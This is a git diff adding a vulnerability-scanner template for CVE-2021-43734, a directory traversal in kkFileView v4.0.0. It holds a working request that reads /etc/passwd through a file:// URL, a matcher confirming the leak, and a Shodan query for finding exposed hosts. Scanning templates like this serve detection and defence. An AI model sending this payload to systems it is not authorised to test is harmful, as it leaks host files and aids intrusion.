diff --git a/cves/2021/CVE-2021-43734.yaml b/cves/2021/CVE-2021-43734.yaml new file mode 100644 index 0000000000..34199a02aa --- /dev/null +++ b/cves/2021/CVE-2021-43734.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-43734 + +info: + name: kkFileview v4.0.0 - Directory Traversal + author: arafatansari + severity: high + reference: + - https://github.com/kekingcn/kkFileView/issues/304 + - https://nvd.nist.gov/vuln/detail/CVE-2021-43734 + description: | + kkFileview v4.0.0 has arbitrary file read through a directory traversal vulnerability which may lead to sensitive file leak on related host. + classification: + cve-id: CVE-2021-43734 + metadata: + verified: true + shodan-query: http.html:"kkFileView" + tags: cve,cve2021,kkfileview,traversal + +requests: + - method: GET + path: + - "{{BaseURL}}/getCorsFile?urlPath=file:///etc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200